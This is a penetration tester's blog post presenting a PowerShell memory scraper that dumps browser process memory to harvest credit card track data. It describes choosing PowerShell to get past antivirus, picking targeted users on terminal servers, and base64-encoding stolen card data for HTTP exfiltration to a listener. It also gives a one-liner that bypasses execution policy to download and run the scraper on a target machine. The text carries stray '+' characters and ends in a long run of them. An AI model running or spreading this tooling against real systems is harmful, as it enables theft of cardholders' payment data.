During + the post exploitation phase of a penetration test, I like to provide +the client with examples of what could happen if a breach were to take +place. One of the most common examples of this is credit card +theft. To demonstrate this threat, I created a PowerShell memory scraper + against whatever application (many times browsers) the target is using +to harvest track data. Why PowerShell? Because anti-virus doesn't +prevent it and it provides me the ability to quickly modify the script, +tailoring it for the application used within the organization.
Thanks to the awesomeness of @mattifestation and PowerSploit, + you can use Out-Minidump to create a memory dump of a process. I +created a lightweight script with logic to continuously dump a process's + memory and scrape it for track data. Using Internet Explorer as an +example, the script performs the following:
+ You can download the script from Github (here):
git clone https://www.github.com/shellntel/scripts
Here is a screenshot of the memory scraper in action harvesting track data:
+ very old expired credit card...don't even know why I redacted it
I created few features that I find handy. One is the ability to encode and exfiltrate + track data to a listener I have setup. It base64 encodes the track data + and does a HTTP GET request with the data included. I never send this +data across the Internet, only to an internal box of my control or over +an encrypted tunnel. You can use any method to setup a listener but my +favorite is:
python -m SimpleHTTPServer 80
The code supports harvesting plain card numbers if + track data is not available, which I've used with success, but +occasionally contains false positives. There is a Luhn check and some +regexs to help reduce the false positives, but if that isn't enough, you + can specify an IIN/BIN (http://www.binlist.net) to match on. +Matching on IINs comes in handy when your client/target is in the +financial industry. Coworker @curi0usJack helped me squash bugs +and implemented a duplicate checking feature so we're not sending and +logging the same data over and over.
Many times my targeted users +are utilizing a terminal server environment. This makes my life easy +because I can run the memory scraper at a centralized location (the +terminal servers), but since there are multiple users, you will want to +limit the memory scraping to only processes used by your targeted +users. If not, you could be dumping memory from hundreds of +processes that might not contain credit card data. For this +reason, I built a function that checks the process owner against the +values of the -User parameter. My common workflow is to identify +my targeted users through group name in active directory, then specify +them using the -User parameter and just let the memory scraper bake for a + few days.
Everyone likes one-liners. If you want to run the +memory scraper (example process is iexplore) run the following from the +target system:
powershell.exe -exec bypass -Command "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/shellntel/scripts/master/mem_scraper.ps1','mem_scraper.ps1');./mem_scraper.ps1 -Proc iexplore;"
I've + found this method to be the quickest and most reliable. It only takes +me minutes to narrow down my targets and deploy. The script can be + downloaded from Github and will work with PowerShell v2 and v3. I +encourage you to give it a try on your next pentest (or within your +organization with permission of course) and provide feedback.
Happy harvesting!
@CaseyCammilleri
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+
+
+
+
+ 
+
+
+
+
+
+
+
+
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+